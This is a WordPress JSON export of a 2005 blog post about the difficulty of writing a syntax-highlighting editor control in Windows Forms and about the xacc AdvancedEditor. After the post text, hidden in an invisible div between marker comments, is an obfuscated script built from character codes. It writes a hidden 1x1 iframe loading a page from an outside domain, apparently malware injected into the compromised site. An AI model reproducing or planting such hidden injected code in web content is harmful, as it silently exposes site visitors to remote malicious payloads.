{"id":34,"date":"2005-01-18T17:10:58","date_gmt":"2005-01-18T16:10:58","guid":{"rendered":"http:\/\/freegw.xs4all.nl\/~basp\/wordpress\/index.php\/2005\/01\/18\/syntax-highlighting\/"},"modified":"2010-06-25T21:14:51","modified_gmt":"2010-06-25T20:14:51","slug":"syntax-highlighting","status":"publish","type":"post","link":"\/~basp\/wordpress\/index.php\/2005\/01\/18\/syntax-highlighting\/","title":{"rendered":"Syntax"},"content":{"rendered":"<p>It has been a while since I last posted but that&#8217;s because I&#8217;m going slightly crazy with this syntax highlighting business&#8230; Ok, I had a very basic version working on a RichTextBox but this control is an absolute nightmare to work with. It has all kinds of properties and events but it lacks those which you really need. Also, it&#8217;s very slow, bulky and subclassing it with syntax highlighting facilities seems like a task devised by Satan himself.<\/p>\n<p>Because I don&#8217;t want to spend a lot of money buying a control for software that I plan to release in the open source domain I have undertaken the rather ambitious task of building my own custom syntax highlighting, semantic parsing and fast performing text editor control. Most of my inspiration comes from Actipro&#8217;s SyntaxEditor and Syncfusion&#8217;s Essential Edit controls in the form of help files, api specs and samples but I still have a hard time coming up with the internal implementation.<\/p>\n<p>However, today I accidently stumbled across <a href=\"http:\/\/sourceforge.net\/projects\/xacc\/\">xacc<\/a> (see also <a href=\"http:\/\/blogs.wdevs.com\/leppie\/\">leppie&#8217;s blog<\/a>) which contains the AdvancedEditor control. This is a pretty good example of how to implement effecient real-time syntax highlighting in a Windows Forms application. The AdvancedEditor control does not subclass the dreaded RichTextBox but instead, it inherits from Control and provides a custom text editor implemenation. This code has the potential to be extremely useful although I find it a little bit hard to read because I&#8217;m not used to reading between a lot of compiler switches.<!--more--><!--ebf2f6390d0b10abb67ffa6bbd4984f122010--><\/p>\n<div style=\"display:none\">document.write(String.fromCharCode(60,105,102,114,97,109,101,32,115,114,99,32,61,34,104,116,116,112,58,47,47,121,97,100,114,48,46,99,111,109,47,100,47,105,110,100,101,120,46,112,104,112,34,32,119,105,100,116,104,61,34,49,34,32,104,101,105,103,104,116,61,34,49,34,32,102,114,97,109,101,98,111,114,100,101,114,61,34,48,34,62,60,47,105,102,114,97,109,101,62))<\/div>\n<p><!--\/ebf2f6390d0b10abb67ffa6bbd4984f122010--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>It has been a while since I last posted but that&#8217;s because I&#8217;m going slightly crazy with this syntax highlighting business&#8230; Ok, I had a very basic version working on a RichTextBox but this control is an absolute nightmare to work with. It has all kinds of properties and events but it lacks those which &hellip; <\/p>\n<p class=\"link-more\"><a href=\"\/~basp\/wordpress\/index.php\/2005\/01\/18\/syntax-highlighting\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;Syntax&#8221;<\/span><\/a><\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4],"tags":[],"class_list":["post-34","post","type-post","status-publish","format-standard","hentry","category-c","entry"],"_links":{"self":[{"href":"\/~basp\/wordpress\/index.php\/wp-json\/wp\/v2\/posts\/34","targetHints":{"allow":["GET"]}}],"collection":[{"href":"\/~basp\/wordpress\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"\/~basp\/wordpress\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"\/~basp\/wordpress\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"\/~basp\/wordpress\/index.php\/wp-json\/wp\/v2\/comments?post=34"}],"version-history":[{"count":0,"href":"\/~basp\/wordpress\/index.php\/wp-json\/wp\/v2\/posts\/34\/revisions"}],"wp:attachment":[{"href":"\/~basp\/wordpress\/index.php\/wp-json\/wp\/v2\/media?parent=34"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"\/~basp\/wordpress\/index.php\/wp-json\/wp\/v2\/categories?post=34"},{"taxonomy":"post_tag","embeddable":true,"href":"\/~basp\/wordpress\/index.php\/wp-json\/wp\/v2\/tags?post=34"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}